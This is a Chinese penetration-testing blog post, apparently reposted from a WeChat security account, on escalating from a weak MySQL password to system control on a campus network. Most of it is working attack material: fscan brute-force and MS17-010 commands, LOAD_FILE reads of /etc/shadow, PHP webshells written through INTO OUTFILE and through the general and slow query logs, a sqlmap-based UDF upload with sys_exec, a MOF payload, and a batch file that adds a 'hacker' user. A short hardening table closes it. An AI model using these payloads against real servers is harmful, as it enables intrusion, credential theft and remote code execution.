免责声明:本公众号 太乙Sec实验室 所提供的实验环境均是本地搭建,仅限于网络安全研究与学习。旨在为安全爱好者提供技术交流。任何个人或组织因传播、利用本公众号所提供的信息而进行的操作,所导致的直接或间接后果及损失,均由使用者本人负责。太乙Sec实验室及作者对此不承担任何责任
(注:本实验应在获得明确授权的教学网络环境中开展,严禁在生产环境进行类似操作)
nmap -p- -sV --script=mysql-info 10.0.0.1 -T4
3306/tcp open mysql
| mysql-info:
| Protocol: 10
| Version: 8.0.29-0ubuntu0.20.04.3
| Thread ID: 12
| Capabilities flags: 63487
| Some Capabilities: LongColumnFlag, Support41Auth, Speaks41ProtocolNew, FoundRows, ConnectWithDatabase, InteractiveClient, IgnoreSigpipes, SupportsTransactions, Speaks41ProtocolOld, SupportsLoadDataLocal, DontAllowDatabaseTableColumn, ODBCClient, IgnoreSpaceBeforeParenthesis, SupportsCompression, SupportsAuthPlugins
| Status: Autocommit
| Salt: x17kx13Gx1D!Xx14wx1Cx1A^Cx7Fx3Ex1Cx1F
|_ Auth Plugin Name: caching_sha2_password
//fscan 内网
fscan.exe -h 192.168.x.x //默认使用全部模块
fscan.exe -h 192.168.x.x -rf id_rsa.pub //redis 写私钥
fscan.exe -h 192.168.x.x -c whoami //ssh爆破成功后,命令执行
fscan.exe -h 192.168.x.x -m ms17010 //指定模块
fscan.exe -h 192.168.x.x -m ssh -p 2222 //指定模块ssh和端口
fscan.exe -h 192.168.x.x -h 192.168.1.1/24 //C段
fscan.exe -h 192.168.x.x -h 192.168.1.1/16 //B段
fscan.exe -h 192.168.x.x -h 192.168.1.1/8 //A段的192.x.x.1和192.x.x.254,方便快速查看网段信息
fscan.exe -h 192.168.x.x -hf ip.txt //以文件导入
MySQL弱口令爆破,使用sqlmap进行udf提权,执行系统命令
一、文件读写核心限制:secure_file_priv
该参数控制MySQL文件导入/导出权限,是渗透测试中文件操作的关键限制。
查看方式:
sql SHOW GLOBAL VARIABLES LIKE '%secure_file_priv%';
输出示例:
+------------------+-------+| Variable_name | Value |+------------------+-------+| secure_file_priv | NULL |+------------------+-------+
-
参数值含义:
版本范围 | 空字符串 | 指定目录 | NULL | 默认值 |
≥5.6.34 | 任意路径读写 | 仅限指定目录 | 完全禁止读写 | Windows:NULLLinux:插件目录 |
<5.6.34 | 任意路径读写 | 仅限指定目录 | - | 空字符串 |
不可修改性:该参数为只读,无法通过SET GLOBAL
修改,需在my.cnf
配置文件中调整并重启服务:
-
ini
[mysqld]secure_file_priv = /var/lib/mysql-files/
二、文件读取:绕过限制的实战技巧
即使secure_file_priv=NULL
,仍有方法读取关键文件:
1. 核心命令
LOAD_FILE()函数:
sql SELECT LOAD_FILE('/etc/passwd'); -- 读取系统用户列表
LOAD DATA INFILE语句:
sql LOAD DATA INFILE '/etc/passwd' INTO TABLE users; -- 将文件内容导入表
2. 高价值目标文件
文件类型 | 路径示例(Linux/Windows) | 渗透价值 |
数据库配置文件 | /etc/my.cnf
|
获取数据库密码、UDF插件目录 |
Web服务器配置 | /etc/apache2/httpd.conf
|
定位网站根目录、虚拟主机设置 |
系统敏感文件 | /etc/shadow
|
获取系统用户哈希、破解密码 |
网络配置文件 | /etc/network/interfaces
|
分析内网结构、劫持域名解析 |
三、文件写入:突破防线的多种姿势
当secure_file_priv
允许时,可通过以下方式写入文件:
1. 常规写入:INTO OUTFILE
sql
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
-
限制:
-
-
目标目录需MySQL用户有写权限。 -
文件不能已存在(除非 FILE
权限允许覆盖)。
-
2. 日志文件写入(绕过secure_file_priv
)
通过篡改MySQL日志路径写入WebShell:
-- 设置日志输出为文件
SET GLOBAL log_output = 'FILE';
-- 指定日志文件路径
SET GLOBAL general_log_file = '/var/www/html/shell.php';
-- 开启日志记录
SET GLOBAL general_log = ON;
-- 触发日志写入PHP代码
SELECT '<?php eval($_POST["cmd"]); ?>';
-- 关闭日志(避免留下过多痕迹)
SET GLOBAL general_log = OFF;
3. 慢查询日志利用
写入更干净的WebShell:
SET GLOBAL slow_query_log = 1;
SET GLOBAL slow_query_log_file = '/var/www/html/shell.php';
SELECT '<?php system($_GET["cmd"]); ?>' FROM mysql.user WHERE SLEEP(10);
四、UDF提权:从数据库到系统权限
sql SELECT @@plugin_dir; -- 输出示例:/usr/lib/mysql/plugin/
上传UDF文件:
若Web目录可写,通过SQL注入写入:
sql SELECT 0x7F454C46... INTO DUMPFILE '/var/www/uploads/udf.so';
使用
sqlmap自动化上传:
sqlmap -u "http://target.com/?id=1" --file-write=udf.so --file-dest=/usr/lib/mysql/plugin/udf.so
创建UDF函数:
sql
CREATE FUNCTION sys_exec RETURNS INT SONAME 'udf.so';SELECT sys_exec('id > /tmp/exploit.txt');
3. Windows提权技巧
MOF提权(老旧但有效):利用
c:/windows/system32/wbem/mof/目录的定时任务特性:
sql SELECT 0x636C617373205769... INTO DUMPFILE 'C:\Windows\system32\wbem\mof\exploit.mof';
启动项写入:
sql SELECT 'net user hacker P@ssw0rd /add' INTO OUTFILE 'C:\Windows\Tasks\exploit.bat';
五、防御加固方案
|
secure_file_priv = NULL
|
|
|
chmod 750 /usr/lib/mysql/plugin/ |
|
|
user = mysql (my.cnf) |
|
|
iptables -A INPUT -p tcp --dport 3306 -s 可信IP段 -j ACCEPT |
|
|
ALTER USER 'root'@'%' IDENTIFIED BY '强密码'; |
|
原文始发于微信公众号(太乙Sec实验室):记一次在校园网中的Mysql趣味udf提权
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论